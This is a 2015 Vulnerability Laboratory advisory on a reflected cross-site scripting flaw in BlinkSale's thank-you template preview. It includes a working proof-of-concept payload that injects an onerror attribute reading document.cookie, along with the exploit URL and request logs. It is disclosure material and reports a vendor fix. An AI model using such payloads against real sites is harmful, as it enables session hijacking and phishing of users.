BlinkSale Bug Bounty #2 - Cross Site Scripting Vulnerability

Document Title:
===============
BlinkSale Bug Bounty #2 - Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1448


Release Date:
=============
2015-09-28


Vulnerability Laboratory ID (VL-ID):
====================================
1448


Common Vulnerability Scoring System:
====================================
2.9


Product & Service Introduction:
===============================
We like to get paid. We’re sure you feel the same. So while you can use Blinksale and get paid by check, our integration
with Stripe* makes it easy to get paid in a flash. Just sign up at Stripe, put your credentials into Blinksale, and you’re
all set to accept credit card payments on your invoices!

(Copy of the Vendor Homepage: https://www.blinksale.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site scripting web vulnerability in the official BlinkSale online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-10:     Researcher Notification (Hadji Samir)
2015-03-11:     Vendor Notification (Blinksale Security Team)
2015-03-18:     Vendor Response/Feedback (Blinksale Security Team)
2015-09-20:     Vendor Fix/Patch  (Blinksale Developer Team)
2015-09-29:     Public Disclosure  (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A client-side cross site scripting web  vulnerability has been discovered in the official BlinkSale online-service web-application.
The issue allows remote attackers to inject own malicious web context on the application-side of a vulnerable module or function.

The security vulnerability is located in the template value of the `Thank-you Templates` page module. Remote attackers are able to 
inject client-side script codes to the template value parameter http request. Result is a client-side execution of malicious script codes.
The request method to inject and execute is GET and the issue is location on the client-side of the online service web-application.

The security risk of the client-side cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.9.
Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction. Successful exploitation of 
the encoding vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects and non-persistent manipulation of 
affected or connected module context.

Request Method(s):
			[+] GET

Vulnerable Module(s):
			[+] thankyou_preview?

Vulnerable Parameter(s):
			[+] thankyou1


Proof of Concept (PoC):
=======================
The client-side cross site vulnerability can be exploited by remote attackers without privileged application user account and with low or medium user interaction.
For security demonstration o to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. You do not need to register an account
2. Open up the main website and switch to the settings (account_info)
3. On the bottom you need to click the `'Thank-you Templates'
4. Click to any Thank-you Templates Preview link
https://samirpen.blinksale.com/thankyou_preview?template=thankyou1'" onerror=alert(document.cookie) aa><iframe src="x" >
5. Successful reproduce of the remote vulnerability!

PoC: Payload
'" onerror=alert(document.cookie) a><iframe src="x" >


PoC: Source (Execution)
<tr class="header">
        <td>
          <img src="https://hadjisa.blinksale.com/images/emails/thankyou/thankyou1'" onerror=alert(document.cookie) a><iframe src="x" >.gif" />
        </td>
      </tr>


--- PoC Session Logs [GET]
GET https://hadjisa.blinksale.com/thankyou_preview?template=thankyou1'" onerror=alert(document.cookie) a><iframe src="x" >  
Indicateurs chargement[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Taille contenu[944] Type Mime[text/html]
   En-têtes requête:
      Host[hadjisa.blinksale.com]
      User-Agent[Mozilla/5.0 (Windows NT 5.2; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[_ga=GA1.2.1712853414.1424003227; _bs1_session=BAh7DDoPc2Vzc2lvbl9pZC[...]
      Connection[keep-alive]
   En-têtes réponse:
      Cache-Control[no-cache, no-store, must-revalidate, max-age=0, pre-check=0, post-check=0]
      Content-Encoding[gzip]
      Content-Type[text/html; charset=utf-8]
      Date[Wed, 04 Mar 2015 10:10:03 GMT]
      Pragma[no-cache]
      Server[nginx]
      Set-Cookie[_bs1_session=BAh7DDoPc2Vzc[...]
      status[200 OK]
      Strict-Transport-Security[max-age=631152000; includeSubdomains]
      x-content-type-options[nosniff]
      x-runtime[22]
      X-XSS-Protection[1; mode=block]
      Content-Length[944]
      Connection[keep-alive]


Reference(s):
https://hadjisa.blinksale.com/
https://samirpen.blinksale.com/thankyou_preview
https://samirpen.blinksale.com/thankyou_preview?template=thankyou1


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable templates value in the thankyou page module. 
Restrict the input and disallow special chars on the templates parameter input. Setup a secure exception to prevent client-side script code injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in that preview thanks page is estimated as medium. (CVSS 2.9)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir ([email protected])  [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


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=========================
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